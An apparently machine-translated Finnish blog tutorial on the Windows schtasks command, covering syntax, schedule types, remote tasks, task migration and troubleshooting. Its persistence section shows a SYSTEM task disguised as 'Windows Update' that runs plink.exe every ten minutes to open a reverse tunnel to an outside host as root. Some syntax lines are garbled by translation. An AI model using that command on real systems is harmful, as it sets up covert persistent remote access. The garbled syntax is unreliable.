Jos työskentelet päivittäin Windows-palvelimien tai -tietokoneiden kanssa Ennemmin tai myöhemmin törmäät komentoon schtasksSe on komentorivityökalu, joka on suoraan yhteydessä Tehtävien ajoitukseen ja jonka avulla voit automatisoida käytännössä mitä tahansa: käynnistää komentosarjoja, suorittaa varmuuskopioita, tarkistaa lokeja tai jopa aloittaa ylläpitoprosesseja koskematta graafiseen käyttöliittymään.
Schtaskien hallitseminen tekee kaiken eron manuaalisen sammuttamisen ja itsestään huolehtivan järjestelmän välillä. Tässä artikkelissa näet yksityiskohtaisesti, miten komento toimii, mitä käyttöoikeuksia tarvitset, täydellisen syntaksin, kaikki tärkeät parametrit ja runsaasti käytännön esimerkkejä (mukaan lukien skenaariot etätietokoneilla, siirrot Windows-versioiden välillä ja tosielämän tapaukset, joissa tehtävät eivät suju odotetulla tavalla).
Mikä on schtasks ja mihin sitä tarkalleen ottaen käytetään?
Komento schtasks Se on Tehtävien ajoituksen konsolikäyttöliittymä Windowsin. Se korvasi vanhan at.exe ja se on saatavilla käytännössä kaikissa järjestelmän moderneissa versioissa: Windows 10, Windows 11, Windows Server 2019, 2022 ja tuetut aiemmat vastineet.
Heidän tehtävänsä on hallita aikataulutettuja tehtäviäVoit luoda, muokata, listata, käynnistää, pysäyttää ja poistaa tehtäviä sekä paikallisella koneella että etäpalvelimilla. Se sopii erinomaisesti komentosarjojen, suoritettavien tiedostojen, varmuuskopioiden, tietoturvatarkastusten, valvonnan tai minkä tahansa aikataulun mukaisesti toistettavan komennon automatisointiin.
Toistuvien tehtävien aikatauluttamisen lisäksiSchtasksin avulla voit käynnistää toimintoja tärkeissä järjestelmän hetkissä (käynnistys, kirjautuminen, käyttämättömyysaika tai Windowsin rekisteritapahtumat). Mikä tärkeintä, voit päättää, millä tilillä ne toimivat, mikä käyttöoikeustaso niillä on ja tallennetaanko niihin liittyvä salasana.
Ammatillisissa ja kyberturvallisuusympäristöissä Sitä käytetään myös pysyvyyden luomiseen eli sen varmistamiseen, että tietty komento suoritetaan silloin tällöin tai tietyllä liipaisimella, yleensä etuoikeutetuilla tunnistetiedoilla, kuten SYSTEM-tilillä, mikä tekee siitä erittäin tehokkaan (ja myös haavoittuvan väärinkäytössä).
Schtasksin turvalliseen käyttöön vaadittavat käyttöoikeudet
Kaikki tilit eivät voi tehdä kaikkea schtasksillaUlkoisten tehtävien tai järjestelmätehtävien käsittelyyn vaaditaan, että kuulut sen tiimin Järjestelmänvalvojat-ryhmään, jossa kyseiset tehtävät sijaitsevat.
KotijoukkueessaJos haluat tarkastella, ajoittaa tai muokata kaikkia tehtäviä, schtasks-tehtäviä suorittavan tilin on oltava järjestelmänvalvoja. Vakiokäyttäjä voi yleensä hallita vain omia tehtäviään ja rajoitetuilla oikeuksilla.
Etätiimeissä Asiat mutkistuvat hieman: sinun on oltava etäpalvelimen Järjestelmänvalvojat-ryhmän jäsen tai annettava järjestelmänvalvojan tunnistetiedot erikseen parametrilla /u (ja salasanasi /pLisäksi paikallisen tietokoneen toimialueen on oltava sama kuin etäpalvelimen toimialueen tai sen luotettu toimialue, muuten tunnistetietoja ei voida vahvistaa.
Myös itse tehtävä tarvitsee riittävät käyttöoikeudet mitä se aikoo suorittaa. Oletusarvoisesti, jos et määritä mitään, tehtävä suoritetaan nykyisellä käyttäjällä (tai käyttäjällä, joka on määritetty kohdassa /u (sitä ajoitettaessa). Jos haluat työn suoritettavan toisen käyttäjän tai järjestelmätilin kanssa, sinun on käytettävä /ru ja valinnaisesti /rp salasanaa varten.
On tärkeää ymmärtää, että SYSTEM-tilillä ei ole interaktiivista kirjautumista.SYSTEM-muodossa käynnistetyt ohjelmat eivät näytä ikkunoita eivätkä salli käyttäjän toimia. Ne sopivat täydellisesti palveluille, hiljaisille komentosarjoille tai ylläpitotehtäville, mutta eivät sovellu sovelluksille, jotka odottavat käyttäjän napsauttavan tai syöttävän tietoja.
Komennon perussyntaksi ja päätoiminnot
schtasks-komennon yleinen muoto Se rakentuu aina pääoperaation (luo, poista, kysely jne.) ympärille. Hyvin yksinkertaisella tasolla ohje näyttää suunnilleen tältä:
schtasks /Create | /Delete | /Query | /Change | /Run | /End | /?
Jokaisella näistä operaatioista on oma parametrikokoelmansa ja kelvollisia yhdistelmiä. Tärkeimmät niistä ovat:
schtasks /create: luo uuden ajoitetun tehtävän.schtasks /delete: poistaa yhden tai useamman tehtävän.schtasks /query: listaa olemassa olevat tehtävät taulukko-, luettelo- tai CSV-muodossa.schtasks /change: muokkaa jo luodun tehtävän ominaisuuksia (suorituskäyttäjä, salasana, ohjelma, vuorovaikutteinen tila jne.).schtasks /run: pakottaa jo ajoitetun tehtävän välittömän suorittamisen.schtasks /end: pysäyttää ohjelman, jossa tehtävä on parhaillaan käynnissä.
Voit tarkastella yksityiskohtaista ohjetta Windows-konsolissa. jokaisen operaation klassisella /?. Esimerkiksi schtasks /create /? Se näyttää kaikki syntaksit ja parametrien selitykset, aivan kuten schtasks /query /? tai jokin muu variantti.
Tehtävien luominen schtasksilla: täydellinen syntaksi
Tähän mennessä eniten käytetty operaatio on /createjota käytetään uuden tehtävän määrittelyyn. Sen koko syntaksi on laaja, mutta sen avulla voit hallita käytännössä kaikkia ohjelmoinnin yksityiskohtia:
schtasks /create /sc <tipo> /tn <nombre> /tr <comando> <usuario> ]] <usuario> | system}] | *] ] ]
Tärkeimmät parametrit, jotka on tiedettävä Kun luot tehtävän, toimi seuraavasti:
/sc <tipo>: ohjelmointityyppi (MINUUTTITIETOINEN, TUNTITIETOINEN, PÄIVITTÄIN, VIIKOTTAISIN, KUUKAUSITTAISIN, KERRAN, KÄYNNISTYSTÄ KUN SE KIRJAUTUMISTA, Tyhjäkäynti, YKSI TAPAHTUMA)./tn <nombre>Tehtävän nimi. Voi sisältää virtuaalikansion polun:\Carpeta\MiTarea./tr <comando>: suoritettava ohjelma, komentosarja tai komento, ja koko polku, jos sitä ei ole%SystemRoot%\System32./s <equipo>: etätietokone, jolle tehtävä luodaan (nimi tai IP-osoite)./uy/p: tunnistetiedot, joilla itse schtasks-komento suoritetaan, kun puhutaan etälaitteen kanssa (voimassa vain/s)./ruy/rp: tili ja salasana, joita käytetään tehtävän suorittamiseen, kun on sinun vuorosi./mo,/d,/m,/st,/sd,/ed: tiheysmuokkaimet, tietyt päivät, kuukaudet ja aloitus-/päättymispäivät./it: pakottaa tehtävän suoritettavaksi vain, kun "Suorita nimellä" -käyttäjä on kirjautuneena sisään./np: ei tallenna salasanaa (vain paikalliset resurssit, ei-vuorovaikutteinen suoritus)./z: poistaa tehtävän, kun olet suorittanut kalenterisi./rl: käyttöoikeustaso, jolla se käynnistetään (RAJOITETTU tai KORKEIN).
Joustavuus on valtava, mutta niin on myös väärien yhdistelmien mahdollisuus. (Esimerkiksi sellaisten parametrien sekoittaminen, jotka eivät sovellu tietyntyyppiseen ohjelmointiin). Siksi on hyvä idea tarkastella kunkin tilan ohjeita ja testata niitä ensin laboratoriossa.
Ohjelmointityypit ja taajuusmuuntimet
Parametri /sc määrittää tehtävän "milloin"Valitusta tyypistä riippuen jotkin lisäparametrit ovat pakollisia, valinnaisia tai yksinkertaisesti virheellisiä.
Käytettävissä olevat suunnittelutyypit ovat:
- MINUUTTI: joka n. minuutti.
- TUNNITTAINEN: joka n. tunti.
- PÄIVITTÄIN: joka n. päivä.
- VIIKOITTAIN: joka n. viikko, viikonpäivien valinnalla.
- KUUKAUSITTAINENjoustava kuukausittainen aikataulutus (tiettyjä päiviä, tietyt viikot, viimeinen päivä, tietyt kuukaudet).
- KERRAN: yksittäinen suoritus ilmoitettuna päivämääränä ja kellonaikana.
- START: jokaisen järjestelmän käynnistyksen yhteydessä.
- KIRJAUTUMINENjokaisen käyttäjän kirjautuessa sisään (mikä tahansa käyttäjä tai tietty käyttäjä riippuen)
/ru). - ONIDLE: kun järjestelmä pysyy käyttämättömänä tietyn minuuttimäärän.
- YKSI TAPAHTUMA: rekisteritapahtumien (kanava ja määritetyt kriteerit) laukaisemat suoritukset.
Muuntaja /mo säädä taajuutta kunkin tyypin sisälläEsimerkiksi: minuuttien määrä MINUTE-muuttujalle, päivien määrä DAILY-muuttujalle, viikkojen määrä WEEKLY-muuttujalle, kuukausien määrä MONTHLY-muuttujalle tai erityisarvot, kuten FIRST, SECOND, THIRD, FOURTH ja LASTPÄIVÄ tietyille kuukausiyhdistelmille.
Muita parametreja, kuten /d y /m Ne lisäävät tarkkuutta: /d Sen avulla voit määrittää tiettyjä viikonpäiviä (MA, TI, KE, TO, PE, LA, SU tai * kaikille) tai kuukauden päivän numerona käytetystä variantista riippuen, ja /m Rajoittaa ohjelmoinnin tiettyihin kuukausiin (tammi-joulukuu tai *).
Kun ajoitettu passiivisuuden vuoksi (ONIDLE) on välttämätön /i <minutos>Tämä osoittaa, kuinka kauan tiimin on oltava passiivinen ennen tehtävän käynnistämistä. Se on pakollinen YHDEN kerran. /stja valinnainen /sd jos haluat sen toimivan "tänään" sijaan jonain toisena tiettynä päivänä.
Aikataulutus minuuttien, tuntien ja päivien mukaan: käytännön esimerkkejä
Todellisissa ympäristöissä on hyvin yleistä automatisoida valvonta- tai ylläpitoskriptit. jotka toistuvat muutaman minuutin tai tunnin välein. Tässä on joitakin näppäinyhdistelmiä:
Esimerkki 1 – Suorita skripti 20 minuutin välein:
schtasks /create /sc minute /mo 20 /tn "Security Script" /tr "\\central\data\scripts\sec.vbs"
Tässä on ilmoitettu 20 minuutin taajuus. Aloitusaikaa tai -päivämäärää ei ole määritetty, joten ensimmäinen suoritus tapahtuu 20 minuuttia tehtävän luomisen jälkeen. Skripti sijaitsee verkkopolulla, mutta se suoritetaan paikallisessa koneessa.
Esimerkki 2 – Joka 100. minuutti aikavälin sisällä:
schtasks /create /tn "Security Script" /tr sec.vbs /sc minute /mo 100 /st 17:00 /et 08:00 /k
Tässä tapauksessa työmäärä nousee 100 minuutin välein. klo 17.00 ja 8.00 välillä. Kanssa /k Ohjelma pakotetaan pysähtymään, jos se on edelleen aktiivinen päättymisajan koittaessa; ilman kyseistä parametria se yksinkertaisesti pysähtyisi uudelleenkäynnistyksen jälkeen, mutta käynnissä olevaa prosessia ei lopetettaisi.
Aikataulutusta vartenLogiikka on samankaltainen, mutta siinä on /sc hourlyEsimerkiksi, jos se suoritetaan viiden tunnin välein tietystä päivämäärästä alkaen:
schtasks /create /sc hourly /mo 5 /sd 03/01/2002 /tn MyApp /tr c:\apps\myapp.exe
Toinen tyypillinen aikataulu on ”joka X tunti tietyn ajanjakson ajan” käyttäen /du enimmäiskestona, esimerkiksi 10 tuntia, jotta kyseisen ikkunan ulkopuolella ei enää käynnistetä instansseja ennen seuraavaa päivittäistä sykliä.
Päivittäisessä suunnittelussa (/sc dailyOletusarvoinen muokkaaja on päivä, joten jos et määritä sitä /moTehtävä suoritetaan joka päivä määritettyyn aikaan. Muuta aloituspäivämäärää. /sd tai loppu /ed Sen avulla voit rajoittaa väliaikaisia kampanjoita (vain ylläpito tiettyyn päivämäärään asti, testit jne.).
Edistyneet viikoittaiset ja kuukausittaiset aikataulut
Kun tarvitset jotain parempaa kuin "joka X päivä" On parasta käyttää viikoittaista tai kuukausittaista aikataulutusta. WEEKLY-ajoituksen avulla voit työskennellä viikkojen ja viikonpäivien välein; MONTHLY-ajoituksen avulla voit työskennellä kuukauden päivien, tiettyjen viikkojen tai viimeisen päivän mukaan.
Esimerkki – Joka toinen perjantai:
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc weekly /mo 2 /d FRI
Täällä /mo 2 osoittaa kahden viikon välinJa /d FRI Rajoittaa perjantaihin. Jättää pois. /moSe olisi joka perjantai.
Esimerkki – Joka kuukauden toinen sunnuntai (kuukauden tietty viikko):
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc monthly /mo SECOND /d SUN
Tässä tapauksessa /mo SECOND Se merkitsee kuukauden toista viikkoaVaikka /d SUN Määritä kyseisen viikon päivä. Sama logiikka pätee, jos ENSIMMÄINEN, KOLMANNEN tai NELJÄS yhdistettynä yksittäiseen päivään on.
Aikataulu kuukauden päivän mukaan Se on myös hyvin yleistä: /sc monthly y /d 15 Esimerkiksi ajat sen aina 15. päivänä. /m MAY,JUN rajoittaisi toteutuksen vain noihin kahteen kuukauteen, kun taas /m * Se koskee kaikkia.
Kuukauden päättämisen automatisointeja varten Yleisesti käytetään LASTDAY-muokkaajaa, joka käynnistää tehtävän kuukauden viimeisenä päivänä kunnioittaen 28, 29, 30 tai 31 päivän kuukausia ilman, että sinun tarvitsee huolehtia kalenterista.
Erikoiskäynnistimet: käynnistys, kirjautuminen, passiivisuus ja tapahtumat
Kaikki tehtävät eivät perustu kiinteisiin päivämääriin ja kellonaikoihin.Usein on hyödyllistä reagoida järjestelmätapahtumiin, kuten koneen käynnistymiseen, käyttäjän kirjautumiseen sisään tai siihen, ettei laitetta käytetä.
START Tehtävä käynnistyy aina, kun Windows käynnistyy. Yleensä tämä riittää:
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onstart
KIRJAUTUMINEN Se laukaisee suorituksen, kun käyttäjä kirjautuu sisään. Voit käyttää sitä sekä paikallisessa koneessa että etäkoneessa:
schtasks /create /tn "Start Web Site" /tr c:\myiis\webstart.bat /sc onlogon /s Server23
ONIDLE Se aktivoituu käyttämättömyysjakson jälkeen, joka ilmoitetaan /iEsimerkiksi käynnistääksesi jotain 10 minuutin käyttämättömyyden jälkeen:
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onidle /i 10
ONEVENT-tyypin avulla voit reagoida tapahtumiin Tapahtumienvalvonnasta.kanavan määrittäminen /EC ja tapahtuman määrittely XML:n avulla (yleensä /xmlSe sopii erinomaisesti palvelukatkosten, kriittisten virheiden tai tietoturvatapahtumien reagoinnin automatisointiin.
Suorita tehtäviä heti ja simuloi ”Suorita nyt” -toimintoa
Windows ei tarjoa "Suorita nyt" -painiketta schtasksissaMutta voit saavuttaa saman vaikutuksen kahdella eri tavalla riippuen siitä, mitä tarvitset.
Ensimmäinen vaihtoehto on käyttää schtasks /run jo ajoitetusta tehtävästä:
schtasks /run /tn MiTarea
Tämä komento jättää aikataulun huomiotta. Se käynnistää tehtävän välittömästi käyttäen siihen määritettyä ohjelmaa, käyttäjätunnusta ja salasanaa. Tämä on erittäin hyödyllistä testattaessa, onko tehtävä määritetty oikein, odottamatta seuraavaa suoritusta.
Toinen vaihtoehto on luoda tehtävä, jonka tyyppi on ELEVE Ajoita se toimimaan muutaman minuutin kuluttua tulevaisuudessa, simuloiden "juuri nyt", esimerkiksi 2-3 minuuttia nykyisestä ajasta. Sitten, jos haluat, voit poistaa sen... /delete automaattisesti.
Lisäkikkana virheenkorjausongelmiinKannattaa vilkaista tiedostoa SchedLgU.txt en %SystemRoot%jossa Tehtävien ajoitus jättää jälkeensä monia suoritus- ja tunnistetietovirheitä.
Pysyvyys ja toteutus SYSTEM-tilillä
Hyvin yleinen käyttö kyberturvallisuudessa ja edistyneessä hallinnossa Se tarkoittaa schtasks-komentojen käyttöä sen varmistamiseksi, että tietty komento suoritetaan toistuvasti SYSTEM-tilillä, jolloin saavutetaan pysyvyys maksimaalisilla oikeuksilla.
Klassinen sinnikkyyden malli olisi jotain vastaavaa kuin:
C:\> schtasks /create /ru "SYSTEM" /sc minute /mo <minutos> /tn "<nombre>" /tr "<comando>"
Tämä luo toistuvan tehtävän joka suoritetaan SYSTEM-järjestelmänä n minuutin välein ja suorittaa määrittämäsi komennon (skriptit, binäärit, yhteystyökalut jne.). Salasanaa ei tarvita. /rp koska SYSTEM-tili ei käytä käyttäjän tunnistetietoja.
Reaalimaailman esimerkki pysyvyydestä, jossa paluuyhteys on käytössä 10 minuutin välein:
C:\> schtasks /create /ru "SYSTEM" /sc minute /mo 10 /tn "Windows Update" /tr "C:\temp\plink.exe 10.1.1.22 -P 443 -C -R 3445:127.0.0.1:445 -N -l root -i private.key"
Tässä on näennäisesti viaton tehtävä ("Windows Update") käynnistyy säännöllisesti plink.exe sarjalla parametreja: kohde-IP, portti 443, pakkaus käytössä, portin edelleenlähetys, ei interaktiivista kuorta (-N), etäkäyttäjä root ja todennus yksityisellä avaimella.
Tämäntyyppinen käyttö osoittaa, miksi schtasks on niin herkkäOikeutetun ylläpitäjän käsissä se on tehokas automaatiotyökalu, mutta se on myös yksi yleisimmistä tavoista ylläpitää pysyvää pääsyä vaarantuneeseen järjestelmään.
Hyvien käytäntöjen näkökulmastaOn suositeltavaa tarkastella ajoitettuja tehtäviä säännöllisesti, auditoida SYSTEM-komentosarjaa käyttävät tehtävät ja pitää automaattisesti suoritettavat komentosarjat ja binäärit hallinnassa, erityisesti alttiina olevilla palvelimilla.
Etätyöskentely ja vaihtoehtoiset tunnistetiedot
Schtasksin merkittävä etu on, että se voi toimia muita palvelimia vastaan. ilman, että niihin tarvitsee muodostaa yhteyttä manuaalisesti. Käyttämällä /s osoittamaan etäisäntä ja /u//p Järjestelmänvalvojan tunnuksilla voit luoda, listata tai muokata tehtäviä kyseisissä järjestelmissä.
Esimerkki – Tehtävän ajoittaminen etäpalvelimella paikallisen järjestelmänvalvojan oikeuksilla:
schtasks /create /s SRV01 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc daily /mo 10
Jos nykyinen käyttäjä on jo SRV01:n järjestelmänvalvoja sinun ei tarvitse /uJos näin ei ole, sinun on määritettävä tili, jolla on seuraavat käyttöoikeudet:
schtasks /create /s SRV06 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc hourly /mo 3 /u reskits\admin01 /p R43253@4$ /ru SRV06\user03 /rp MyFav!!Pswd
Tällä komennolla on kaksi tunnistetietotasoa: valtakirjat /u (admin01)-komentoja käytetään tehtävän luomiseen etäkoneella, kun taas /ru (user03)-käyttäjää käytetään sitten tehtävän suorittamiseen kolmen tunnin välein. Tämä mahdollistaa itse työn suorittamisen ilman järjestelmänvalvojan oikeuksia, ellei sitä tarvita.
Jos paikallinen tietokone ei kuulu luotettuun toimialueeseen Etäverkkotunnuksen osalta palvelin ei pysty todentamaan kohdassa annettua tiliä. /u ja tehtävä on "tyhjä": se näkyy luettelossa, mutta ilman oikeita tunnistetietoja, seuraavaa suoritusaikaa ja varoitusviesteillä, jotka ilmoittavat, että tilitietoja ei voitu määrittää.
Neuvoteltuaan yksityiskohtaisesti schtasks /query /V Huomaat, että kenttiä, kuten "Suorita käyttäjänä", ei voida hakea ja että "Seuraava suoritusaika" on "Ei koskaan". Tässä tapauksessa sinun on tarkistettava toimialueiden välinen luottamus tai käytettävä eri tiliä/palvelinta tehtävän konfiguroimiseksi oikein.
Ajoitettujen tehtävien tuonti ja siirto palvelimien välillä
Windows Server 2003:sta uudempiin versioihin siirtymisissä Joissakin vanhoissa ympäristöissä oli (ja on edelleen) yleistä tuoda kaikki ajoitetut tehtävät uudelle palvelimelle, ylläpitää niiden ominaisuuksia ja mukauttaa käyttäjätilejä.
Käytännöllinen lähestymistapa on kopioida .job-tiedostot alkaen C:\Windows\Tasks vanhalta palvelimelta väliaikaiseen kansioon (esimerkiksi C:\Task), Kanssa schtasks.exe y schedsvc.dll de C:\Windows\System32ja siirrä sitten kyseinen kansio uudelle palvelimelle.
Kun tiedostot ovat siellä, ne kopioidaan uuden järjestelmän tehtäväkansioon. ja FOR-silmukkaa käytetään tehtävien suorittamiseen käytetyn tilin ja salasanan joukkopäivittämiseen:
cd C:\Task
FOR /R . %F in (*.*) do schtasks /change /TN %~nF /RU dom\Administrador /RP CONTRASEÑA
Järjestys schtasks /change voit muokata tunnistetietoja parametrien kanssa /ru (käyttäjä) ja /rp (salasana) muiden ominaisuuksien ohella. Tällä tavoin kaikki tuodut tehtävät päivitetään suoritettavaksi kelvollisella tilillä uudella toimialueella/palvelimella.
Tämän prosessin jälkeen, jos kaikki on mennyt hyvin, järjestelmä näyttää onnistumisviestejä. tyyppiä ”Onnistui: ajoitettujen tehtävien 'Ajoitetun_tehtävän_nimi' parametreja on muutettu”. Voit sitten avata graafisen tehtävien ajoituksen ja varmistaa, että tehtävät näkyvät ja suoritetaan odotetulla tavalla.
Älä kuitenkaan unohda, että monet tehtävät ovat riippuvaisia tietyistä skripteistä tai poluista..job-tiedostojen lisäksi sinun on kopioitava kaikki omat .bat-, .vbs- ja .exe-tiedostosi jne. samaan sijaintiin lähdepalvelimella tai mukautettava tehtävän polkua, jos päätät siirtää ne toiseen sijaintiin.
Konsultoi, debuggaa ja vianmääritä yleisiä schtasks-ongelmia
Vaikka komento palauttaisi arvon SUCCESS tehtävää luotaessa tai käynnistettäessäTämä ei kuitenkaan aina tarkoita, että sisäinen ohjelma on toiminut oikein. Siksi on tärkeää tietää, miten tehdä kyselyitä ja debugata, ja tarvittaessa käyttää työkaluja, kuten... tehtävälista ja tehtävälista.
kanssa schtasks /query Voit listata tehtäviä sekä paikallisesti että etänä, suodattimilla ja eri formaateilla:
schtasks /query /S servidor /U usuario /P contraseña /FO TABLE /V
Parametri /FO määrittele muoto (TAULUKKO, LISTA tai CSV), /NH poista otsikko TABLE/CSV-tiedostosta ja /V Se näyttää täydelliset tiedot (käynnissä oleva käyttäjä, seuraava käynnistys, viimeisin ajo, tulokset jne.).
Hyvin tyypillinen esimerkki reaalimaailmasta on tehtävän suorittaminen manuaalisesti PowerShellistä. Mutta älä tee sitä, kun Tehtävien ajoitus käynnistää sen. Esimerkiksi schtasks-komennon suorittaminen yhdellä palvelimella tehtävän käynnistämiseksi toisella etäpalvelimella:
schtasks /run /s server02 /tn starttask
Jos suoritat sen manuaalisesti PowerShellissä, kaikki näyttää olevan oikein. (Onnistui ja työ alkaa palvelimella 02), mutta kun se ajoitetaan tehtävien ajoituksen kautta palvelimella 01, mitään ei tapahdu. Näissä tapauksissa seuraavat asiat on tarkistettava:
- Tili, joka suorittaa tehtävän palvelimella palvelin01 (esimerkiksi SYSTEM). SYSTEM-käyttäjällä ei aina ole vastaavia verkko-oikeuksia kuin toimialuekäyttäjällä, mikä voi estää pääsyn palvelimelle palvelin02.
- Konteksti ”Suorita riippumatta siitä, onko käyttäjä kirjautunut sisään vai ei”koska se muuttaa käytettävissä olevaa ympäristöä (muuttujat, verkkomääritykset, interaktiiviset käyttöoikeudet jne.).
- "Suorita korkeimmilla oikeuksilla" -asetusmikä voi olla tarpeen joissakin tilanteissa.
- PowerShellin ja komentosarjan absoluuttiset polut (
powershell.exe -File "F:\folder\startserver02task.ps1"), välttäen riippuvuuksia nykyisestä kansiosta.
Usein ratkaisuun liittyy verkkotunnuspalvelutilin käyttö Tehtävälle palvelimella palvelin01 SYSTEM:n sijaan tai tarkistamalla palvelimien väliset suojaus- ja palomuurikäytännöt etäpuhelun sallimiseksi.
Toinen ongelmia aiheuttava tekijä on aika ja alueellinen muoto päivämääristä. Parametrit /sd y /ed Nämä riippuvat alueellisista asetuksista (PP/KK/VVVV, KK/PP/VVVV, VVVV/KK/PP jne.). Jos päivämäärä tulkitaan väärin, tehtävää ei ehkä koskaan suoriteta tai sen seuraava suoritus voidaan merkitä "Ei koskaan" -tilaan.
Lopuksi on muistettava, että schtasks ei validoi polkuja tai salasanoja. Jos teet virheen ohjelmapolussa tai tilin salasanassa tehtävää luotaessa, tehtävä luodaan, mutta se epäonnistuu suorituksen aikana. Jos salasana vanhenee etkä päivitä tehtävää, se lakkaa toimimasta ilman, että Schtasks ilmoittaa siitä sinulle ennakoivasti.
Kaiken kaikkiaan schtasks on uskomattoman tehokas ja joustava työkalu Windowsin automatisointi komentoriviltä: sen avulla voit ajoittaa paikallisia ja etätehtäviä, valita monenlaisista liipaisutyypeistä, hienosäätää taajuutta, siirtää tehtäviä palvelinversioiden välillä ja hallita tunnistetietoja tarkasti. Sen parametrien hallinta ja niiden vuorovaikutuksen ymmärtäminen Tehtävien ajoituksen ja Windowsin tietoturvan kanssa on avainasemassa vankkojen automaatioiden määrittämisessä, haitallisten pysyvyysyritysten havaitsemisessa ja yleisesti ottaen valtavan määrän manuaalisen työn säästämisessä päivittäin.
Intohimoinen kirjoittaja tavujen maailmasta ja tekniikasta yleensä. Rakastan jakaa tietämykseni kirjoittamalla, ja sen aion tehdä tässä blogissa, näyttää sinulle kaikki mielenkiintoisimmat asiat vempaimista, ohjelmistoista, laitteistoista, teknologisista trendeistä ja muusta. Tavoitteeni on auttaa sinua navigoimaan digitaalisessa maailmassa yksinkertaisella ja viihdyttävällä tavalla.